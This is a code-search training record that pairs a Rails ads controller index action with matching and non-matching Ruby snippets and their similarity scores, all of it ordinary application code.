[ "def initialize \n\t\tsuper(SIZE)\n\tend", "def initialize(size)\n @size = size\n end", "def initialize(args={})\n @size = args[:size] # <- promoted from RoadBike\n end", "def initialize unit_size = 256 # defaults to 256\n\t\t\t@unit_size = unit_size\n\t\tend", "def initialize(size)\n @data = 0\n @size = size\n end", "def initialize\n @size = 0\n clear\n end", "def initialize size=6, mines=20\n @size = size\n @mines = mines\n end", "def initialize(size)\n @size = size\n @content = initialize_content\n end", "def initialize(size)\n self.store = StaticArray.new(size)\n self.capacity = size\n self.start_idx = 0\n self.length = 0\n end", "def initialize(size)\n @bits = 0\n @size = size\n end", "def initialize(desired_length)\n @length = desired_length\n end", "def size=(size)\n end", "def initialize\n @input_size = nil\n @output_size = nil\n @diff_size = nil\n @original_filepath = nil\n @min_filepath = nil\n end", "def initialize length\n self.length = length\n end", "def initialize(size)\n @size = get_good_size(size)\n @table = Array.new @size\n @population = 0\n @used_spaces = 0\n end", "def initialize(size)\n @size = size\n @buffer = []\n end", "def initialize\n @small = Array.new(DEFAULT_SIZE, false) \n @medium = Array.new(DEFAULT_SIZE, false) \n @large = Array.new(DEFAULT_SIZE, false) \n end", "def initialize(initial_state)\n\n # Validates the initial state is valid, if not an error will be raised\n validate_state(initial_state)\n\n # If we reach this point the initial state is valid, init instance variables\n @state = initial_state\n @width = initial_state.length\n @height = initial_state[0].length\n end", "def size\n super\n end", "def size\n super\n end", "def initialize(name, size)\n @name = name\n @size = size\n end", "def initialize(size)\n @size = size\n @slots = initialize_slots\n @main_memory = CacheSim::MainMemory.new(8*(@size**2)-1)\n end", "def initialize\n super\n self.cbSize = self.size\n end", "def initialize\n super\n self.cbSize = self.size\n end", "def initialize(size)\n @size = size or raise \"Size is a required parameter to Memory\"\n @storage = []\n end", "def initialize(length)\n @length = length\n end", "def my_size\n 1\n end", "def initialize\n @max_resource_size = 10_000_000\n end", "def initialize(hash)\n super(hash)\n @size = hash[\"size\"]\n end", "def initialize(max_size)\n @head = nil\n @max_size = max_size\n @current_size = 0\n end", "def initialize(type, size)\n @type = type\n @size = size\n end", "def size; @size end", "def size!\n @size = nil\n self.size\n end", "def initialize(size)\n @size = size\n @store = Array.new(@size)\n @top = -1\n end", "def initialize(size)\n @arr = Array.new(size)\n @size = size\n end", "def initialize(buffer_size)\n super()\n @buffer_size = buffer_size\n end", "def initialize(size)\n #@arr = [1,2,3]\n @arr = Array.new(size)\n @size = size\n @start_index = 0\n @end_index = 0\n end", "def initialize\n\t\t@height = 5\n\tend", "def initialize(**opts)\n @size = opts[:size]\n @chain = opts[:chain] || default_chain\n @tire_size = opts[:tire_size] || default_tire_size\n end", "def initialize(width, height)\r\n \t#variables de instancia\r\n @width = width\r\n @height = height\r\n end", "def initialize(side_length)\n #instance variable\n @side_length = side_length\n end", "def initialize(len, scale); @len = len; @scale = scale end", "def initialize_dimensions\n @width = 150\n @height = 48\n @wheels_front = 31\n @wheels_rear = 126\n end", "def initialize\n super\n self.cb = self.size\n end", "def initialize\n super\n self.cb = self.size\n end", "def initialize\n super\n self.cb = self.size\n end", "def buffer_initial_length()\n #This is a stub, used for indexing\n end", "def __setup__(capacity=MIN_SIZE, max=MAX_ENTRIES, size=0)\n @capacity = capacity\n @mask = capacity - 1\n @max_entries = max\n @size = size\n @entries = Entries.new capacity\n end", "def initialize(size)\n @size = size\n @matrix = generate_matrix\n end", "def size_from_default\n DEFAULT_SIZE\n end", "def initialize(state)\n @state = state\n @rows = state.size\n @cols = state[0].size\n end", "def size(size)\n @value[:size] = size\n self\n end", "def initialize(buf_size)\n @buffer_size = buf_size\n super(buf_size)\n end", "def size= length\n #This is a stub, used for indexing\n end", "def size=(_); end", "def size=(_); end", "def size\n \t@size\n end", "def buffer_initial_length=(length)\n #This is a stub, used for indexing\n end", "def initialize (material,size)\r\n\t\t@material = material\r\n\t\t@size = size\r\n\t\t#se inicializa tanto el material como el size\r\n\tend", "def initialize(length=0,breadth=0)\n puts \"object created\"\n @length=length\n @breadth=breadth\n end", "def size=(dimension); end", "def get_size\n\t\tend", "def size=(value)\n @size = value\n end", "def size=(value)\n @size = value\n end", "def get_size\n\t\treturn @size\n\tend", "def size\n @size \n end", "def size\n @size \n end", "def initialize\n @default_model = [:symbol, 10000]\n @default_size = 10\n end", "def initialize(size)\n\t\t@cache=Cache.new(size)\n\tend", "def initialize size\n raise \"Size must be odd\" unless size%2 == 1\n @size = size\n @square = build_square size\n self\n end", "def size\n @size\n end", "def size\n @size\n end", "def size\n @size\n end", "def size\n @size\n end", "def size\n @size\n end", "def size\n @size\n end", "def size\n @size\n end", "def size\n @size\n end", "def size\n @size\n end", "def size\n @size\n end", "def size\n @size\n end", "def size\n @size\n end", "def size\n @size\n end", "def size\n @size\n end", "def size\n @size\n end", "def size\n @size\n end", "def size\n @size\n end", "def size\n @size\n end", "def size\n @size\n end", "def size\n @size\n end", "def size\n @size\n end", "def size\n @size\n end", "def size\n @size\n end", "def size\n @size\n end", "def size; end", "def size; end", "def size; end", "def size; end", "def size; end", "def size; end", "def size; end" ]
[ "0.79574513", "0.7934442", "0.7854908", "0.7796383", "0.75807256", "0.75145644", "0.74375236", "0.74341875", "0.7317423", "0.7309886", "0.7293086", "0.72110426", "0.70901996", "0.7067969", "0.7026926", "0.7003441", "0.6984841", "0.6978762", "0.6978335", "0.6978335", "0.6977207", "0.69758177", "0.696815", "0.696815", "0.6914631", "0.69083047", "0.69064766", "0.6892143", "0.68547803", "0.6854335", "0.6823034", "0.6814921", "0.6811504", "0.67892843", "0.6785167", "0.67686355", "0.6756115", "0.6732986", "0.673007", "0.6720358", "0.6718884", "0.67165107", "0.67134726", "0.6712745", "0.6712745", "0.6712745", "0.6693132", "0.66929436", "0.6671885", "0.66710865", "0.665937", "0.66539145", "0.6623639", "0.66146666", "0.66015166", "0.66015166", "0.65970904", "0.6589712", "0.65861", "0.65798897", "0.6572561", "0.65703243", "0.65701145", "0.65701145", "0.6567263", "0.65562826", "0.65562826", "0.6551175", "0.6546244", "0.654613", "0.65395063", "0.65395063", "0.65395063", "0.65395063", "0.65395063", "0.65395063", "0.65395063", "0.65395063", "0.65395063", "0.65395063", "0.65395063", "0.65395063", "0.65395063", "0.65395063", "0.65395063", "0.65395063", "0.65395063", "0.65395063", "0.65395063", "0.65395063", "0.65395063", "0.65395063", "0.65395063", "0.65395063", "0.6536658", "0.6536658", "0.6536658", "0.6536658", "0.6536658", "0.6536658", "0.6536658" ]
0.0
-1
GET /ads GET /ads.xml
def index @ads = Ad.all respond_to do |format| format.html # index.html.erb format.xml { render :xml => @ads } format.json { render :json => @ads } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @ads = Ad.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ads }\n end\n end", "def index\n @ads = Ad.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @ads.to_xml }\n end\n end", "def index\n @ads = Ad.find_all_by_account_id(session[:account_id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ads }\n end\n end", "def show\n @ad = Ad.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @ad.to_xml }\n end\n end", "def show\n @ad = Ad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ad }\n end\n end", "def index\n @ads = @org.ads\n end", "def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ad }\n end\n end", "def get_ads(params, headers={})\n url = \"#{@fqdn}#{SERVICE_URL}\"\n\n if params\n args = \"?\"\n params.each do |key, value|\n if value && !value.empty?\n args << \"&\" unless args.end_with? \"?\"\n args << \"#{CGI.escape(key.to_s)}=#{CGI.escape(value.to_s)}\"\n end\n end\n url << args\n end\n\n self.get(url, headers)\n end", "def index\n @ads = Ad.all\n end", "def index\n @ads = Ad.all\n end", "def index\n @ads = Ad.all\n end", "def index\n @ads = Ad.all\n end", "def index\n @ads = Ad.all\n end", "def show\n @ad = Ad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ad }\n format.json \n end\n end", "def index\n @ads = Ad.all \n end", "def show\n @advert = Advert.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @advert }\n end\n end", "def show\n @advert = Advert.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @advert }\n end\n end", "def show\n @advertisement = Advertisement.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @advertisement }\n end\n end", "def call\n response = call_ads_api\n ads = response[\"ads\"]\n ads_hash = index_ads_remote(ads)\n {success: true, data: ads_hash}\n end", "def show\n @advertise = Advertise.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @advertise }\n end\n end", "def index\n @adsizes = Adsize.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @adsizes }\n end\n end", "def show\n @advertiser = Advertiser.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @advertiser.to_xml }\n end\n end", "def index\n \n @advertises = Advertise.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @advertises }\n end\n end", "def index\n @ads = Ad.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ads }\n end\n end", "def index\n @ads = Ad.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ads }\n end\n end", "def show\n\t\t@ad = Ad.includes({:ad_group => :campaign}, :ad_type).where(\"campaigns.account_id = ?\", @auth_user.account_id).find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.xml { render :xml => @ad }\n\t\tend\n\tend", "def index\n respond_with Ad.all \n end", "def index\n @adsses = Adss.all\n end", "def show\n @ad = Ad.find(params[:id])\n end", "def show\n @ad = Ad.find(params[:id])\n end", "def index\n @ad_sets = AdSet.find_all_by_account_id(session[:account_id])\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ad_sets }\n end\n end", "def show\n @ad = Ad.find(params[:id])\n\n respond_to do |format|\n format.html \n end\n end", "def index\n \tset_user\n @ads = get_all_ads\n end", "def admin\n @adverts = Advert.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @adverts }\n end\n end", "def show\n @ad = Ad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ad }\n end\n end", "def show\n @ad = Ad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ad }\n end\n end", "def show\n @ad = Ad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ad }\n end\n end", "def index\n @adverts = Advert.all\n end", "def index\n @buy_ads = BuyAd.all\n end", "def show\n @adsize = Adsize.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @adsize }\n end\n end", "def show\n @ad_boards_campaign = AdBoardsCampaign.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ad_boards_campaign }\n end\n end", "def get_listings_xml(url)\n @client.get_content(url)\n end", "def index\n #@adverts = Advert.find(:all)\n @adverts = Advert.paginate(:all, :order => 'startdate ASC', \n :per_page => 10,\n :page => params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @adverts }\n end\n end", "def index\n @advertisements = Advertisement.all\n end", "def index\n @advertisements = Advertisement.all\n end", "def get_xml\n response = @api.request(:get, @location, type: 'xml')\n response.body if response.status == 200\n end", "def show\n @home_indices_ad = Home::Indices::Ad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @home_indices_ad }\n end\n end", "def index\n @ad_placements = AdPlacement.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ad_placements }\n end\n end", "def show\n @advert = Advert.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @advert }\n end\n end", "def show\n @advertisement = Advertisement.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @advertisement }\n end\n end", "def index\n @adverts = @advert_class.all\n end", "def index\n \t@categories = Category.all\n \t@ads = Ad.all\n end", "def index\n\tif params[:category_id]\n\t @ads = Ad.where(category_id: params[:category_id])\n\telse\n\t @ads = Ad.all\n\tend\n end", "def show\n @nad = Nad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @nad }\n end\n end", "def index\n @bottom_ads = BottomAd.all\n end", "def index\n @advertisers = Advertiser.all\n end", "def show\n @avance = Avance.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @avance }\n end\n end", "def show\n @adoption_contact = AdoptionContact.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @adoption_contact }\n end\n end", "def show\n @ad_placement = AdPlacement.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ad_placement }\n end\n end", "def show\n respond_to do |format|\n format.html\n format.json { render json: { advertisements: @advertisements } }\n end\n end", "def index\n @advertises = Advertise.all\n end", "def index\n @advertises = Advertise.all\n end", "def new\n @ad = Ad.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ad }\n end\n end", "def new\n @ad = Ad.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ad }\n end\n end", "def new\n @ad = Ad.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ad }\n end\n end", "def index\n @sales_ads = SalesAd.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sales_ads }\n end\n end", "def index\n @advertisements = Advertisement.page(params[:page])\n end", "def download_xml\n\t\turi = URI.parse(\"http://www.esmadrid.com/opendata/tiendas_v1_es.xml\")\n\t\tresponse = Net::HTTP.get_response(uri)\n\t\tcontent = response.body\n\n\t\txml = REXML::Document.new(content)\n\n\t\treturn xml\n\tend", "def show\n @advert = Advert.find(params[:id])\n @vcounter = ViewsCounter.counter('Advert', params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @advert }\n end\n end", "def show\n @ad_tag = AdTag.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ad_tag }\n end\n end", "def ads(id, &block)\n return get_metrics([\"ads\", id], &block)\n end", "def get_content(uri, eadid)\n file = fixture_dir.glob(\"**/*.EAD.xml\").find { |x| x.to_s.ends_with?(\"#{eadid}.EAD.xml\") }\n return File.read(file) if file.present?\n client.get(\"#{uri}.xml\", query: { include_daos: true, include_unpublished: false }, timeout: 1200).body.force_encoding(\"UTF-8\")\n end", "def show\n @advert_module = AdvertModule.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @advert_module }\n end\n end", "def show\n @google_adwords_account = GoogleAdwordsAccount.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @google_adwords_account }\n end\n end", "def show\n @announcer = Announcer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @announcer }\n end\n end", "def index\n @adms = Adm.all\n end", "def index\n @q = AdUrl.ransack(params[:q])\n @ad_urls = @q.result.page(params[:page])\n # @ad_urls = AdUrl.all\n end", "def index\n @search = Ad.search(params[:q])\n @result = @search.result\n @ads = @result.order('created_at DESC').distinct\n @ads = @result.page(params[:page]).per(15)\n\n respond_to do |format|\n format.html\n end\n end", "def create\n @ad = current_advertiser.ads.new(params[:ad])\n respond_to do |format|\n if @ad.save\n format.html { redirect_to(@ad, :notice => 'Ad was successfully created.') }\n format.xml { render :xml => @ad, :status => :created, :location => @ad }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @ad.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @advert = Advert.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @advert }\n end\n end", "def new\n @advert = Advert.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @advert }\n end\n end", "def index\n\t @assets = @campaign.assets\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @assets }\n end\n end", "def index\n @ads = Ad.all.ultimos\n end", "def index\n @advertisements = Advertisement.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @advertisements }\n end\n end", "def index\n @advertisements = Advertisement.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @advertisements }\n end\n end", "def show\n @discovery = Discovery.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @discovery }\n end\n end", "def show\n @advertisment = Advertisment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @advertisment }\n end\n end", "def index\n@magazine = Magazine.find_by_id(params[:magazine_id])\n@ads = @magazine.ads\nend", "def show\n @agencies = Agency.find(params[:id])\n\n if @agencies \n respond_to do |format|\n format.json { render :json => @agencies }\n format.xml { render :xml => @agencies }\n end \n else\n head :not_found\n end\n end", "def get_xml(url)\n Nokogiri::XML.parse(get(url), nil, nil, Nokogiri::XML::ParseOptions::STRICT)\n end", "def getToolsSyndicateBingads( entity_id)\n params = Hash.new\n params['entity_id'] = entity_id\n return doCurl(\"get\",\"/tools/syndicate/bingads\",params)\n end", "def index\n @facebook_ads = FacebookAd.all\n end", "def xml(options = {})\n http = Net::HTTP.new(Picasa.host, 443)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n path = Picasa.path(options)\n response = http.get(path, auth_header)\n if response.code =~ /20[01]/\n response.body\n elsif response.code.to_i == 403\n raise RubyPicasa::PicasaError, \"Authentication failed. You may need to refresh your access token.\"\n end\n end", "def index\n @ad_accounts = AdAccount.all\n end", "def show\n @lead = Salesforce::Lead.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lead }\n end\n end", "def index\n @advetisers = Advetiser.all\n end", "def set_ad\n @ad = @org.ads.find(params[:id])\n end", "def show\n @site_banner = SiteBanner.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @site_banner }\n end\n end", "def show\n @traffic = Traffic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @traffic }\n end\n end", "def index\n @advertisement_campaigns = AdvertisementCampaign.all\n end" ]
[ "0.7364696", "0.72835666", "0.7056196", "0.69553655", "0.6917627", "0.6890893", "0.6840493", "0.6802959", "0.6652822", "0.6652822", "0.6652822", "0.6652822", "0.6652822", "0.6642466", "0.66190606", "0.657084", "0.657084", "0.6551971", "0.65514565", "0.6540528", "0.64437926", "0.64233387", "0.6423212", "0.6410696", "0.641023", "0.63778985", "0.6299258", "0.623047", "0.62239456", "0.62239456", "0.6167559", "0.6148598", "0.6143895", "0.61429083", "0.6090233", "0.6090233", "0.6090233", "0.60122937", "0.59764475", "0.5972447", "0.59557396", "0.5946254", "0.5942843", "0.59325624", "0.59325624", "0.5907956", "0.58980846", "0.5883959", "0.5855775", "0.5852221", "0.5852112", "0.5830905", "0.58227926", "0.58202684", "0.58132285", "0.57907265", "0.5777248", "0.5775089", "0.57683057", "0.57596785", "0.5756579", "0.5756579", "0.573473", "0.573473", "0.573473", "0.57333034", "0.5730346", "0.57226646", "0.5717055", "0.57167923", "0.57125056", "0.57116705", "0.5690232", "0.5670392", "0.56684726", "0.5666185", "0.56620455", "0.5656637", "0.5653015", "0.56528467", "0.56528467", "0.5652228", "0.56460243", "0.56448615", "0.56448615", "0.5644605", "0.5644094", "0.56420887", "0.56380975", "0.56374377", "0.56348073", "0.56347644", "0.56233937", "0.5620866", "0.56159127", "0.5613934", "0.5612231", "0.5605793", "0.5600688", "0.55948615" ]
0.70364416
3
GET /ads/1 GET /ads/1.xml
def show @ad = Ad.find(params[:id]) respond_to do |format| format.html # show.html.erb format.xml { render :xml => @ad } format.json end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @ads = Ad.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ads }\n end\n end", "def index\n @ads = Ad.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @ads.to_xml }\n end\n end", "def index\n @ads = Ad.find_all_by_account_id(session[:account_id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ads }\n end\n end", "def show\n @ad = Ad.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @ad.to_xml }\n end\n end", "def show\n @ad = Ad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ad }\n end\n end", "def index\n @ads = Ad.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ads }\n format.json { render :json => @ads }\n end\n end", "def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ad }\n end\n end", "def show\n @advert = Advert.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @advert }\n end\n end", "def show\n @advert = Advert.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @advert }\n end\n end", "def show\n @advertisement = Advertisement.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @advertisement }\n end\n end", "def show\n @advertise = Advertise.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @advertise }\n end\n end", "def index\n @ads = @org.ads\n end", "def show\n @advertiser = Advertiser.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @advertiser.to_xml }\n end\n end", "def get_ads(params, headers={})\n url = \"#{@fqdn}#{SERVICE_URL}\"\n\n if params\n args = \"?\"\n params.each do |key, value|\n if value && !value.empty?\n args << \"&\" unless args.end_with? \"?\"\n args << \"#{CGI.escape(key.to_s)}=#{CGI.escape(value.to_s)}\"\n end\n end\n url << args\n end\n\n self.get(url, headers)\n end", "def call\n response = call_ads_api\n ads = response[\"ads\"]\n ads_hash = index_ads_remote(ads)\n {success: true, data: ads_hash}\n end", "def index\n @adsizes = Adsize.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @adsizes }\n end\n end", "def index\n \n @advertises = Advertise.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @advertises }\n end\n end", "def index\n @ads = Ad.all\n end", "def index\n @ads = Ad.all\n end", "def index\n @ads = Ad.all\n end", "def index\n @ads = Ad.all\n end", "def index\n @ads = Ad.all\n end", "def index\n @ads = Ad.all \n end", "def show\n\t\t@ad = Ad.includes({:ad_group => :campaign}, :ad_type).where(\"campaigns.account_id = ?\", @auth_user.account_id).find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.xml { render :xml => @ad }\n\t\tend\n\tend", "def index\n @ads = Ad.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ads }\n end\n end", "def index\n @ads = Ad.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ads }\n end\n end", "def xml(id)\n http.get(\"/nfse/#{id}/xml\") do |response|\n response.headers.fetch(\"Location\") { \"\" }\n end\n end", "def index\n @ad_sets = AdSet.find_all_by_account_id(session[:account_id])\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ad_sets }\n end\n end", "def show\n @ad = Ad.find(params[:id])\n end", "def show\n @ad = Ad.find(params[:id])\n end", "def show\n @ad = Ad.find(params[:id])\n\n respond_to do |format|\n format.html \n end\n end", "def index\n respond_with Ad.all \n end", "def admin\n @adverts = Advert.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @adverts }\n end\n end", "def read(id=nil)\r\n request = Net::HTTP.new(@uri.host, @uri.port)\r\n if id.nil?\r\n response = request.get(\"#{@uri.path}.xml\") \r\n else\r\n response = request.get(\"#{@uri.path}/#{id}.xml\") \r\n end\r\n response.body\r\n end", "def show\n @adsize = Adsize.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @adsize }\n end\n end", "def index\n #@adverts = Advert.find(:all)\n @adverts = Advert.paginate(:all, :order => 'startdate ASC', \n :per_page => 10,\n :page => params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @adverts }\n end\n end", "def show\n @ad_boards_campaign = AdBoardsCampaign.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ad_boards_campaign }\n end\n end", "def show\n @advert = Advert.find(params[:id])\n @vcounter = ViewsCounter.counter('Advert', params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @advert }\n end\n end", "def show\n @ad = Ad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ad }\n end\n end", "def show\n @ad = Ad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ad }\n end\n end", "def show\n @ad = Ad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ad }\n end\n end", "def show\n @home_indices_ad = Home::Indices::Ad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @home_indices_ad }\n end\n end", "def index\n \tset_user\n @ads = get_all_ads\n end", "def get_xml\n response = @api.request(:get, @location, type: 'xml')\n response.body if response.status == 200\n end", "def show\n @site_banner = SiteBanner.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @site_banner }\n end\n end", "def show\n @nad = Nad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @nad }\n end\n end", "def read(id=nil)\n request = Net::HTTP.new(@uri.host, @uri.port)\n if id.nil?\n response = request.get(\"#{@uri.path}.xml\")\n else\n response = request.get(\"#{@uri.path}/#{id}.xml\")\n end\n\n response.body\n end", "def index\n @advert1s = Advert1.all\n end", "def show\n @discovery = Discovery.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @discovery }\n end\n end", "def show\n @advert_module = AdvertModule.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @advert_module }\n end\n end", "def get_listings_xml(url)\n @client.get_content(url)\n end", "def show\n @avance = Avance.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @avance }\n end\n end", "def new\n @ad = Ad.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ad }\n end\n end", "def new\n @ad = Ad.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ad }\n end\n end", "def new\n @ad = Ad.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ad }\n end\n end", "def ead_download\n _, @document = search_service.fetch(params[:id])\n send_file(\n ead_file_path,\n filename: \"#{params[:id]}.xml\",\n disposition: 'inline',\n type: 'text/xml'\n )\n end", "def show\n @traffic = Traffic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @traffic }\n end\n end", "def index\n @adsses = Adss.all\n end", "def new\n @advert = Advert.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @advert }\n end\n end", "def new\n @advert = Advert.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @advert }\n end\n end", "def show\n @advert = Advert.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @advert }\n end\n end", "def show\n @announcer = Announcer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @announcer }\n end\n end", "def index\n @ad_placements = AdPlacement.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ad_placements }\n end\n end", "def index\n @adverts = Advert.all\n end", "def show\n @adoption_contact = AdoptionContact.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @adoption_contact }\n end\n end", "def show\n @ad_placement = AdPlacement.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ad_placement }\n end\n end", "def show\n @campaign = Campaign.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @campaign }\n end\n end", "def index\n\tif params[:category_id]\n\t @ads = Ad.where(category_id: params[:category_id])\n\telse\n\t @ads = Ad.all\n\tend\n end", "def show\n @advertisement = Advertisement.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @advertisement }\n end\n end", "def show\n @banner = Banner.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @banner }\n end\n end", "def index\n\t @assets = @campaign.assets\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @assets }\n end\n end", "def index\n @banners = Banner.all\n\n respond_to do |wants|\n wants.html # index.html.erb\n wants.xml { render :xml => @banner }\n end\n end", "def api_xml(path,method=:get,options={})\n xml_message(amee,\"/data\"+path,method,options)\n end", "def show\n @lead = Salesforce::Lead.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lead }\n end\n end", "def index\n @adverts = @advert_class.all\n end", "def create\n @ad = current_advertiser.ads.new(params[:ad])\n respond_to do |format|\n if @ad.save\n format.html { redirect_to(@ad, :notice => 'Ad was successfully created.') }\n format.xml { render :xml => @ad, :status => :created, :location => @ad }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @ad.errors, :status => :unprocessable_entity }\n end\n end\n end", "def show\n @adqui = 